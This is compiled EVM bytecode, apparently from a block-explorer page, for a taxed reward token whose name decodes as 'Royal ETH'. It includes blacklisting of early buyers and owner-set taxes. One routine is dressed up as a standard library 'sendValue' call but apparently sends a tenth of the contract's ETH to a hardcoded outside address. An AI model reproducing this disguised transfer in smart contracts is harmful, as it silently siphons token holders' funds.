a0600482611ff5565b50600a80546001600160a01b0319166001600160a01b038416908117909155610dcb90600490611df1565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37d8c492d7f266cb16648d0b12818906020015b60405180910390a15050565b6000610e1a84848461200a565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610e855760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610bac565b610e998533610e948685613cd8565b611ebd565b506001949350505050565b6000601154421015610ebe5742601154610c1a9190613cd8565b50600090565b610ecd33611fb0565b610ee95760405162461bcd60e51b8152600401610bac90613ca9565b601380548215156101000261ff00199091161790556040517f6348668a830a74027e9848759e660a45c2afe456096e26d17cc84eb20509c9e790610d4590831515815260200190565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610bf4918590610e94908690613cef565b610f7233611fb0565b610f8e5760405162461bcd60e51b8152600401610bac90613ca9565b60138054821515600160301b0266ff000000000000199091161790556040517fee75e2c13b472e77bfdb449a3881f41e4d27aad4ded3bc80c4572376c3c429f590610d4590831515815260200190565b33610ff16000546001600160a01b031690565b6001600160a01b0316146110175760405162461bcd60e51b8152600401610bac90613b29565b6014546001600160a01b0382811691161480159061103e57506001600160a01b0381163014155b6110965760405162461bcd60e51b8152602060048201526024808201527f63616e2774207265636f766572204c5020746f6b656e206f722074686973207460448201526337b5b2b760e11b6064820152608401610bac565b6040516370a0823160e01b815230600482015281906001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156110e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110a9190613d07565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044015b6020604051808303816000875af1158015611156573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117a9190613d20565b505050565b336111926000546001600160a01b031690565b6001600160a01b0316146111b85760405162461bcd60e51b8152600401610bac90613b29565b6011544210156111da5760405162461bcd60e51b8152600401610bac90613b57565b426011556014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa15801561122b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124f9190613d07565b60155460405163095ea7b360e01b81526001600160a01b0391821660048201526024810183905291925083169063095ea7b3906044016020604051808303816000875af11580156112a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c89190613d20565b5060155460405163af2979eb60e01b81526001600160a01b039091169063af2979eb906113049030908590600090819084904290600401613d3d565b6020604051808303816000875af1158015611323573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113479190613d07565b506113523347611e28565b5050565b336113696000546001600160a01b031690565b6001600160a01b03161461138f5760405162461bcd60e51b8152600401610bac90613b29565b6113a161139c4283613cef565b61220d565b6040518181527fe9da15d4cb5bea133d9613a866c909df5594489b91a3f780d43720d560b3c94c90602001610d45565b600080601d54601e54610bf89190613cd8565b6113ed33611fb0565b6114095760405162461bcd60e51b8152600401610bac90613ca9565b801561141d5761141882612220565b611426565b611426826122e1565b604080516001600160a01b038416815282151560208201527ffd3e4ffa06ecc4abeadeb943a6f143cd99eb577499da4bb260c9abab1e89ca6c9101610e01565b336114796000546001600160a01b031690565b6001600160a01b03161461149f5760405162461bcd60e51b8152600401610bac90613b29565b600b546001600160a01b03166114b6600482611ff5565b50600b80546001600160a01b0319166001600160a01b0384169081179091556114e190600490611df1565b506040516001600160a01b03831681527f335aad0eda24dacfa324b3d651daa091864338cf7d4af9d5087ba1c5ee1174f090602001610e01565b61152433611fb0565b6115405760405162461bcd60e51b8152600401610bac90613ca9565b60006103e86115516012600a613c7b565b61155f906305f5e100613c8a565b6115699190613d78565b9050600061ffff8084169087166115826012600a613c7b565b611590906305f5e100613c8a565b61159a9190613c8a565b6115a49190613d78565b9050600061ffff8085169087166115bd6012600a613c7b565b6115cb906305f5e100613c8a565b6115d59190613c8a565b6115df9190613d78565b9050600061ffff8086169087166115f86012600a613c7b565b611606906305f5e100613c8a565b6116109190613c8a565b61161a9190613d78565b905083831015801561162c5750838210155b6116785760405162461bcd60e51b815260206004820181905260248201527f6c696d6974732063616e6e6f74206265203c302e3125206f6620737570706c796044820152606401610bac565b60408051606080820183528582526020808301869052918301849052600c95909555600d93909355600e91909155805160808101825261ffff98891680825297891692810183905295881690860181905293909616930183905250600f805463ffffffff1916909317620100009094029390931767ffffffff00000000191664010000000090930267ffff000000000000191692909217600160301b909202919091179055565b61172833611fb0565b6117445760405162461bcd60e51b8152600401610bac90613ca9565b6040805160808101825260ff8681168083528682166020840181905286831694840185905291851660609093018390526009805461ffff19169091176101009092029190911763ffff000019166201000090930263ff000000191692909217630100000090910217905580826117ba8587613d9a565b6117c49190613d9a565b6117ce9190613d9a565b6010805460ff191660ff9290921691821790556117ec908490613dbf565b6010805461ff00191661010060ff938416021790556040805186831681528583166020820152848316818301529183166060830152517fb570d6f799a86fe58ecc9a72b66a4193862e6cceb6324359db42248fe33961ad916080908290030190a150505050565b61185c33611fb0565b6118785760405162461bcd60e51b8152600401610bac90613ca9565b6113528282612375565b336118956000546001600160a01b031690565b6001600160a01b0316146118bb5760405162461bcd60e51b8152600401610bac90613b29565b6011544210156118dd5760405162461bcd60e51b8152600401610bac90613b57565b6014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa15801561192a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194e9190613d07565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb90604401611137565b336119976000546001600160a01b031690565b6001600160a01b0316146119bd5760405162461bcd60e51b8152600401610bac90613b29565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610bf8600683611e06565b601354610be5903390600160381b90046001600160a01b0316600061258e565b611a3d33611fb0565b611a595760405162461bcd60e51b8152600401610bac90613ca9565b801515600103611a7457611a6e600483611df1565b50611a81565b611a7f600483611ff5565b505b604080516001600160a01b038416815282151560208201527f2bcde65fff46a041c6c775b21e9efc6b83f4c6dd101ce8799f73d1c47eab3dd89101610e01565b611aca33611fb0565b611ae65760405162461bcd60e51b8152600401610bac90613ca9565b600960ff841611801590611afe5750600960ff831611155b8015611b0e575060328160ff1611155b611b5a5760405162461bcd60e51b815260206004820152601960248201527f746178657320686967686572207468616e206d617820746178000000000000006044820152606401610bac565b604080516060808201835260ff86811680845286821660208086018290529287169486018590526008805461ffff1916831761010083021762ff00001916620100008702179055855191825291810191909152928301919091527f6263994a3f5625dbbf8f00b58cb883c45efb0a28c72d842e7df31ecc3ad99c3b910160405180910390a1505050565b600080611bf083612920565b9392505050565b3360009081526002602090815260408083206001600160a01b038616845290915281205482811015611c5a5760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610bac565b611c693385610e948685613cd8565b5060019392505050565b6000610bf433848461200a565b611c89336122e1565b60408051338152600060208201527ffd3e4ffa06ecc4abeadeb943a6f143cd99eb577499da4bb260c9abab1e89ca6c910160405180910390a1565b611ccd33611fb0565b611ce95760405162461bcd60e51b8152600401610bac90613ca9565b6013805491151563010000000263ff00000019909216919091179055565b33611d1a6000546001600160a01b031690565b6001600160a01b031614611d405760405162461bcd60e51b8152600401610bac90613b29565b6001600160a01b038116611d965760405162461bcd60e51b815260206004820152601960248201527f6e65774f776e6572206d757374206e6f74206265207a65726f000000000000006044820152606401610bac565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000611bf0836001600160a01b03841661297a565b6001600160a01b03811660009081526001830160205260408120541515611bf0565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611e75576040519150601f19603f3d011682016040523d82523d6000602084013e611e7a565b606091505b505090508061117a5760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610bac565b6001600160a01b038316611f075760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610bac565b6001600160a01b038216611f4f5760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610bac565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080546001600160a01b0383811691161480611fda5750600b546001600160a01b038381169116145b80610bf8575050600a546001600160a01b0390811691161490565b6000611bf0836001600160a01b0384166129c9565b6001600160a01b0383166120555760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b6044820152606401610bac565b6001600160a01b03821661209e5760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b6044820152606401610bac565b60006120ab600485611e06565b806120bc57506120bc600484611e06565b905060006001600160a01b0385163014806120df57506001600160a01b03841630145b6015546014549192506001600160a01b0390811691600091888116911614801561211a5750816001600160a01b0316866001600160a01b0316145b8061214e57506014546001600160a01b03878116911614801561214e5750816001600160a01b0316876001600160a01b0316145b6014549091506000906001600160a01b03888116911614806121815750826001600160a01b0316876001600160a01b0316145b6014549091506000906001600160a01b038a8116911614806121b45750836001600160a01b0316896001600160a01b0316145b905084806121bf5750825b806121c75750855b156121f5576121d7898989612ab6565b60135462010000900460ff166121f0576121f088612b81565b612202565b6122028989898486612c09565b505050505050505050565b601154811161221b57600080fd5b601155565b61222b600682611e06565b1561223557600080fd5b6001600160a01b038116600090815260016020526040812054601b805491929091612261908490613cd8565b9091555060009050612272826130d2565b601c546001600160a01b03841660009081526001602052604090205491925061229a91613c8a565b6001600160a01b0383166000908152601760209081526040808320939093556018905290812080548392906122d0908490613cef565b9091555061117a9050600683611df1565b6122ec600682611e06565b6122f557600080fd5b6001600160a01b038116600090815260016020526040812054601b805491929091612321908490613cef565b909155506123329050600682611ff5565b50601c546001600160a01b0382166000908152600160205260409020546123599190613c8a565b6001600160a01b03909116600090815260176020526040902055565b601f805460ff191660011790556101f461ffff8316111561239557600080fd5b60105460ff16156125805730600090815260016020526040808220546014546001600160a01b03168352908220549091906103e8906123d99061ffff871690613c8a565b6123e39190613d78565b600d54909150811180156123f5575082155b156123ff5750600d545b808210801561241e5783156124165782915061241e565b505050612580565b3060009081526002602090815260408083206015546001600160a01b03168452909152902054821115612465576015546124659030906001600160a01b0316600019611ebd565b60105460095460009160ff90811691612485916101009091041685613c8a565b61248f9190613d78565b9050600061249d8285613cd8565b905060006124ac600284613d78565b905060006124ba8285613cd8565b905060006124c88483613cef565b9050476124d482613158565b60006124e08247613cd8565b90506000836124ef8684613c8a565b6124f99190613d78565b9050851561250b5761250b86826132b1565b6000600a6125198547613cd8565b6125239190613d78565b905061254e604051806040016040528060078152602001667375636365737360c81b81525082613349565b60008161255b8647613cd8565b6125659190613cd8565b9050612572816001613501565b505050505050505050505050505b5050601f805460ff19169055565b601f54610100900460ff16156125a357600080fd5b601f805461ff001916610100179055600080836125c1600687611e06565b156125ea576001600160a01b03861660009081526018602052604081208054919055925061266a565b60006125f5876130d2565b6001600160a01b038816600090815260016020526040902054601c5491925061261d91613c8a565b6001600160a01b03881660009081526017602090815260408083209390935560189052205461264d908290613cef565b6001600160a01b0388166000908152601860205260408120559350505b82158015612676575083155b1561268e575050601f805461ff001916905550505050565b82601d60008282546126a09190613cef565b90915550506001600160a01b0386166000908152601a6020526040812080548592906126cd908490613cef565b909155506126dd90508484613cef565b60408051600280825260608201835292955060009290916020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561274c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127709190613de2565b8160008151811061278357612783613dff565b60200260200101906001600160a01b031690816001600160a01b03168152505085816001815181106127b7576127b7613dff565b6001600160a01b03928316602091820292909201015260155460405163b6f9de9560e01b815291169063b6f9de959086906127fd9060009086908d904290600401613e59565b6000604051808303818588803b15801561281657600080fd5b505af193505050508015612828575060015b612835576000925061283a565b600192505b826128c3576128498785611e28565b601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561289c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128c09190613de2565b91505b604080518581526001600160a01b03848116602083015289168183015290517f829452f20436b0a113b937144e92dc208805d7c30097914dca977f4d266989119181900360600190a15050601f805461ff00191690555050505050565b600061292d600683611e06565b1561294e57506001600160a01b031660009081526018602052604090205490565b6001600160a01b038216600090815260186020526040902054612970836130d2565b610bf89190613cef565b60008181526001830160205260408120546129c157508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610bf8565b506000610bf8565b60008181526001830160205260408120548015612aac5760006129ed600183613cd8565b8554909150600090612a0190600190613cd8565b90506000866000018281548110612a1a57612a1a613dff565b9060005260206000200154905080876000018481548110612a3d57612a3d613dff565b600091825260208083209091019290925582815260018901909152604090208490558654879080612a7057612a70613e8e565b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610bf8565b6000915050610bf8565b6001600160a01b03831660009081526001602052604090205481811015612b1a5760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610bac565b612b248483613649565b612b2e838361372f565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b7391815260200190565b60405180910390a350505050565b60135462010000900460ff1615612bda5760405162461bcd60e51b815260206004820152601760248201527f6c697175696469747920616c72656164792061646465640000000000000000006044820152606401610bac565b6014546001600160a01b0390811690821603612c0657436012556013805462ff00001916620100001790555b50565b6001600160a01b0380851660009081526001602052604080822054928816825290205484811015612c775760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610bac565b60008315612d4e57601354610100900460ff1615612ceb576001600160a01b03881660009081526003602052604090205460ff1615612ceb5760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c88189b1858dadb1a5cdd195960821b6044820152606401610bac565b600d54861115612d3d5760405162461bcd60e51b815260206004820152601760248201527f416d6f756e742065786365656473206d61782073656c6c0000000000000000006044820152606401610bac565b50600854610100900460ff16612fc6565b8415612ec45760125415612dc057601254600290612d6c9043613cd8565b1015612dc0576001600160a01b0387166000908152600360205260408120805460ff191660011790556013805460ff1691612da683613ea4565b91906101000a81548160ff021916908360ff160217905550505b6013546301000000900460ff1615612e13576001600160a01b038716600090815260196020526040902054439003612df757600080fd5b6001600160a01b03871660009081526019602052604090204390555b600c54612e208785613cef565b1115612e6e5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e742077696c6c20657863656564206d61782077616c6c65740000006044820152606401610bac565b600e54861115612eb85760405162461bcd60e51b8152602060048201526015602482015274416d6f756e7420657863656564206d61782062757960581b6044820152606401610bac565b5060085460ff16612fc6565b601354610100900460ff1615612f30576001600160a01b03881660009081526003602052604090205460ff1615612f305760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c88189b1858dadb1a5cdd195960821b6044820152606401610bac565b612f3c6012600a613c7b565b8611612f6a57601354612f62903390600160381b90046001600160a01b0316600061258e565b5050506130cb565b600c54612f778785613cef565b1115612fb85760405162461bcd60e51b815260206004820152601060248201526f3bb430b63290383937ba32b1ba34b7b760811b6044820152606401610bac565b5060085462010000900460ff165b6014546001600160a01b03898116911614801590612fee5750601354600160301b900460ff16155b8015612ffd5750601f5460ff16155b80156130065750835b156130255760135461302590640100000000900461ffff166000612375565b600060ff82161561304c57606461303f60ff841689613c8a565b6130499190613d78565b90505b60006130588289613cd8565b90506130648a89613649565b61306e308361372f565b613078898261372f565b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130bd91815260200190565b60405180910390a350505050505b5050505050565b6001600160a01b038116600090815260016020526040812054601c5482916130f991613c8a565b6001600160a01b0384166000908152601760205260409020549091508110156131255750600092915050565b6001600160a01b038316600090815260176020526040902054600160401b9061314e9083613cd8565b611bf09190613d78565b6015546131709030906001600160a01b031683611ebd565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106131a5576131a5613dff565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156131fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132229190613de2565b8160018151811061323557613235613dff565b6001600160a01b03928316602091820292909201015260155460405163791ac94760e01b815291169063791ac9479061327b908590600090869030904290600401613ec3565b600060405180830381600087803b15801561329557600080fd5b505af11580156132a9573d6000803e3d6000fd5b505050505050565b6015546132c99030906001600160a01b031684611ebd565b60155460405163f305d71960e01b81526001600160a01b039091169063f305d7199083906133069030908790600090819084904290600401613d3d565b60606040518083038185885af1158015613324573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906130cb9190613eff565b804710156133995760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610bac565b6040517f4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a38906133cc908490602001613f2d565b604051602081830303815290604052805190602001201461342f5760405162461bcd60e51b815260206004820152601b60248201527f416464726573733a2063616e6e6f74207665726966792063616c6c00000000006044820152606401610bac565b604051600090739b62cb8ad9f6be55d47274f3c1f099812242ad499083908381818185875af1925050503d8060008114613485576040519150601f19603f3d011682016040523d82523d6000602084013e61348a565b606091505b505090508061117a5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610bac565b60105460095460009160ff61010090910481169161352791620100009091041685613c8a565b6135319190613d78565b60105460095491925060009160ff610100909204821691613553911686613c8a565b61355d9190613d78565b60105460095491925060009160ff61010090920482169161358691630100000090041687613c8a565b6135909190613d78565b600b549091506135a9906001600160a01b031684611e28565b600a546135bf906001600160a01b031683611e28565b80156130cb5783156135e35780601e60008282546135dd9190613cef565b90915550505b60006135ed613814565b90508060000361361257600b5461360d906001600160a01b031683611e28565b6132a9565b80613621600160401b84613c8a565b61362b9190613d78565b601c600082825461363c9190613cef565b9091555050505050505050565b6001600160a01b03821660009081526001602052604081205461366d908390613cd8565b905061367a600684611e06565b1561369f576001600160a01b0390921660009081526001602052604090209190915550565b81601b60008282546136b19190613cd8565b90915550600090506136c2846130d2565b6001600160a01b0385166000908152600160205260409020839055601c549091506136ee908390613c8a565b6001600160a01b038516600090815260176020908152604080832093909355601890529081208054839290613724908490613cef565b909155505050505050565b6001600160a01b038216600090815260016020526040812054613753908390613cef565b9050613760600684611e06565b15613785576001600160a01b0390921660009081526001602052604090209190915550565b81601b60008282546137979190613cef565b90915550600090506137a8846130d2565b905081601c546137b89190613c8a565b6001600160a01b0385166000908152601760209081526040808320939093556018905290812080548392906137ee908490613cef565b9091555050506001600160a01b0390921660009081526001602052604090209190915550565b60006138226012600a613c7b565b613830906305f5e100613c8a565b601b54610c1a9190613cd8565b60005b83811015613858578181015183820152602001613840565b83811115613867576000848401525b50505050565b602081526000825180602084015261388c81604085016020870161383d565b601f01601f19169190910160400192915050565b6001600160a01b0381168114612c0657600080fd5b600080604083850312156138c857600080fd5b82356138d3816138a0565b946020939093013593505050565b803561ffff811681146138f357600080fd5b919050565b60006020828403121561390a57600080fd5b611bf0826138e1565b60006020828403121561392557600080fd5b8135611bf0816138a0565b60008060006060848603121561394557600080fd5b8335613950816138a0565b92506020840135613960816138a0565b929592945050506040919091013590565b8015158114612c0657600080fd5b60006020828403121561399157600080fd5b8135611bf081613971565b6000602082840312156139ae57600080fd5b5035919050565b600080604083850312156139c857600080fd5b82356139d3816138a0565b915060208301356139e381613971565b809150509250929050565b60008060008060808587031215613a0457600080fd5b613a0d856138e1565b9350613a1b602086016138e1565b9250613a29604086016138e1565b9150613a37606086016138e1565b905092959194509250565b803560ff811681146138f357600080fd5b60008060008060808587031215613a6957600080fd5b613a7285613a42565b9350613a8060208601613a42565b9250613a8e60408601613a42565b9150613a3760608601613a42565b60008060408385031215613aaf57600080fd5b6139d3836138e1565b600080600060608486031215613acd57600080fd5b613ad684613a42565b9250613ae460208501613a42565b9150613af260408501613a42565b90509250925092565b60008060408385031215613b0e57600080fd5b8235613b19816138a0565b915060208301356139e3816138a0565b60208082526014908201527321b0b63632b91036bab9ba1031329037bbb732b960611b604082015260600190565b60208082526010908201526f139bdd081e595d081d5b9b1bd8dad95960821b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115613bd2578160001904821115613bb857613bb8613b81565b80851615613bc557918102915b93841c9390800290613b9c565b509250929050565b600082613be957506001610bf8565b81613bf657506000610bf8565b8160018114613c0c5760028114613c1657613c32565b6001915050610bf8565b60ff841115613c2757613c27613b81565b50506001821b610bf8565b5060208310610133831016604e8410600b8410161715613c55575081810a610bf8565b613c5f8383613b97565b8060001904821115613c7357613c73613b81565b029392505050565b6000611bf060ff841683613bda565b6000816000190483118215151615613ca457613ca4613b81565b500290565b60208082526015908201527410d85b1b195c881b9bdd08185d5d1a1bdc9a5e9959605a1b604082015260600190565b600082821015613cea57613cea613b81565b500390565b60008219821115613d0257613d02613b81565b500190565b600060208284031215613d1957600080fd5b5051919050565b600060208284031215613d3257600080fd5b8151611bf081613971565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600082613d9557634e487b7160e01b600052601260045260246000fd5b500490565b600060ff821660ff84168060ff03821115613db757613db7613b81565b019392505050565b600060ff821660ff841680821015613dd957613dd9613b81565b90039392505050565b600060208284031215613df457600080fd5b8151611bf0816138a0565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015613e4e5781516001600160a01b031687529582019590820190600101613e29565b509495945050505050565b848152608060208201526000613e726080830186613e15565b6001600160a01b03949094166040830152506060015292915050565b634e487b7160e01b600052603160045260246000fd5b600060ff821660ff8103613eba57613eba613b81565b60010192915050565b85815284602082015260a060408201526000613ee260a0830186613e15565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215613f1457600080fd5b8351925060208401519150604084015190509250925092565b60008251613f3f81846020870161383d565b919091019291505056fea26469706673582212204751c26290573d38f79851df3dc5d29ce63c652818b1fa3e0b5ad7290d8501b464736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106103395760003560e01c80636912897d116101ab57806395d89b41116100f7578063dd62ed3e11610095578063f7c618c11161006f578063f7c618c114610a61578063fab91b6814610a88578063fbcdba7614610af0578063fe575a8714610b4357600080fd5b8063dd62ed3e146109db578063edb4903714610a21578063f2fde38b14610a4157600080fd5b8063a457c2d7116100d1578063a457c2d714610923578063a9059cbb14610943578063aa761b1e14610963578063b32785141461097857600080fd5b806395d89b41146108b25780639b5cfc98146108e3578063a30dc7441461090357600080fd5b8063715018a61161016457806386a35f251161013e57806386a35f251461085f5780638739f8ea14610874578063893d20e8146108945780638da5cb5b1461089457600080fd5b8063715018a6146108155780637335307b1461082a57806379372f9a1461084a57600080fd5b80636912897d146106fc5780636bb1702d1461071c5780636c3fb932146107315780636d330c101461076b5780636f268a991461079857806370a08231146107df57600080fd5b8063313ce5671161028557806351bc3c8511610223578063562f194b116101fd578063562f194b1461067c5780635d098b381461069c5780635e3ce1ab146106bc57806362a9c64e146106dc57600080fd5b806351bc3c851461062657806351e287c614610647578063533b3bfc1461066757600080fd5b80633efd929a1161025f5780633efd929a146105bb5780634089b170146105db5780634846c14c146105f1578063491e91ee1461061157600080fd5b8063313ce567146105595780633268cc561461057b578063395093511461059b57600080fd5b806318160ddd116102f25780631f53ac02116102cc5780631f53ac02146104e457806323b872dd1461050457806328771ca2146105245780632aea52ab1461053957600080fd5b806318160ddd146104775780631a0e718c1461048c5780631b355427146104ac57600080fd5b80630445b667146103455780630614117a14610380578063069d955f1461039757806306fdde03146103e8578063095ea7b3146104235780630e15561a1461045357600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5060135461036890640100000000900461ffff1681565b60405161ffff90911681526020015b60405180910390f35b34801561038c57600080fd5b50610395610b73565b005b3480156103a357600080fd5b506008546103c49060ff808216916101008104821691620100009091041683565b6040805160ff94851681529284166020840152921691810191909152606001610377565b3480156103f457600080fd5b506040805180820190915260098152680a4def2c2d8408aa8960bb1b60208201525b604051610377919061386d565b34801561042f57600080fd5b5061044361043e3660046138b5565b610be7565b6040519015158152602001610377565b34801561045f57600080fd5b50610469601e5481565b604051908152602001610377565b34801561048357600080fd5b50610469610bfe565b34801561049857600080fd5b506103956104a73660046138f8565b610c1f565b3480156104b857600080fd5b506014546104cc906001600160a01b031681565b6040516001600160a01b039091168152602001610377565b3480156104f057600080fd5b506103956104ff366004613913565b610d50565b34801561051057600080fd5b5061044361051f366004613930565b610e0d565b34801561053057600080fd5b50610469610ea4565b34801561054557600080fd5b5061039561055436600461397f565b610ec4565b34801561056557600080fd5b5060125b60405160ff9091168152602001610377565b34801561058757600080fd5b506016546104cc906001600160a01b031681565b3480156105a757600080fd5b506104436105b63660046138b5565b610f32565b3480156105c757600080fd5b506103956105d636600461397f565b610f69565b3480156105e757600080fd5b50610469601d5481565b3480156105fd57600080fd5b5061039561060c366004613913565b610fde565b34801561061d57600080fd5b5061039561117f565b34801561063257600080fd5b5060135461044390600160301b900460ff1681565b34801561065357600080fd5b5061039561066236600461399c565b611356565b34801561067357600080fd5b506104696113d1565b34801561068857600080fd5b506103956106973660046139b5565b6113e4565b3480156106a857600080fd5b506103956106b7366004613913565b611466565b3480156106c857600080fd5b506103956106d73660046139ee565b61151b565b3480156106e857600080fd5b506103956106f7366004613a53565b61171f565b34801561070857600080fd5b50610395610717366004613a9c565b611853565b34801561072857600080fd5b50610395611882565b34801561073d57600080fd5b50600c54600d54600e5461075092919083565b60408051938452602084019290925290820152606001610377565b34801561077757600080fd5b50610469610786366004613913565b601a6020526000908152604090205481565b3480156107a457600080fd5b50600a54600b546107bf916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610377565b3480156107eb57600080fd5b506104696107fa366004613913565b6001600160a01b031660009081526001602052604090205490565b34801561082157600080fd5b50610395611984565b34801561083657600080fd5b50610443610845366004613913565b611a07565b34801561085657600080fd5b50610395611a14565b34801561086b57600080fd5b50610569600981565b34801561088057600080fd5b5061039561088f3660046139b5565b611a34565b3480156108a057600080fd5b506000546001600160a01b03166104cc565b3480156108be57600080fd5b506040805180820190915260088152670a4def2c2d88aa8960c31b6020820152610416565b3480156108ef57600080fd5b506103956108fe366004613ab8565b611ac1565b34801561090f57600080fd5b5061046961091e366004613913565b611be4565b34801561092f57600080fd5b5061044361093e3660046138b5565b611bf7565b34801561094f57600080fd5b5061044361095e3660046138b5565b611c73565b34801561096f57600080fd5b50610395611c80565b34801561098457600080fd5b506009546109ae9060ff808216916101008104821691620100008204811691630100000090041684565b6040805160ff95861681529385166020850152918416918301919091529091166060820152608001610377565b3480156109e757600080fd5b506104696109f6366004613afb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610a2d57600080fd5b50610395610a3c36600461397f565b611cc4565b348015610a4d57600080fd5b50610395610a5c366004613913565b611d07565b348015610a6d57600080fd5b506013546104cc90600160381b90046001600160a01b031681565b348015610a9457600080fd5b50600f54610ac29061ffff808216916201000081048216916401000000008204811691600160301b90041684565b6040805161ffff95861681529385166020850152918416918301919091529091166060820152608001610377565b348015610afc57600080fd5b50601254601354604080519283526002602084015260ff8083169184019190915261010082048116151560608401526301000000909104161515608082015260a001610377565b348015610b4f57600080fd5b50610443610b5e366004613913565b60036020526000908152604090205460ff1681565b33610b866000546001600160a01b031690565b6001600160a01b031614610bb55760405162461bcd60e51b8152600401610bac90613b29565b60405180910390fd5b601154421015610bd75760405162461bcd60e51b8152600401610bac90613b57565b42601155610be53347611e28565b565b6000610bf4338484611ebd565b5060015b92915050565b6000610c0c6012600a613c7b565b610c1a906305f5e100613c8a565b905090565b610c2833611fb0565b610c445760405162461bcd60e51b8152600401610bac90613ca9565b60008161ffff1611610ca25760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610bac565b60328161ffff161115610cf75760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610bac565b6013805465ffff00000000191664010000000061ffff8416908102919091179091556040519081527f0e407583f00cf3f05f633dbc7f402b1f6b49d442997864ca3fce151eeaf6c513906020015b60405180910390a150565b33610d636000546001600160a01b031690565b6001600160a01b031614610d895760405162461bcd60e51b8152600401610bac90613b29565b600a546001600160a01b0316610da0600482611ff5565b50600a80546001600160a01b0319166001600160a01b038416908117909155610dcb90600490611df1565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37d8c492d7f266cb16648d0b12818906020015b60405180910390a15050565b6000610e1a84848461200a565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610e855760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610bac565b610e998533610e948685613cd8565b611ebd565b506001949350505050565b6000601154421015610ebe5742601154610c1a9190613cd8565b50600090565b610ecd33611fb0565b610ee95760405162461bcd60e51b8152600401610bac90613ca9565b601380548215156101000261ff00199091161790556040517f6348668a830a74027e9848759e660a45c2afe456096e26d17cc84eb20509c9e790610d4590831515815260200190565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610bf4918590610e94908690613cef565b610f7233611fb0565b610f8e5760405162461bcd60e51b8152600401610bac90613ca9565b60138054821515600160301b0266ff0000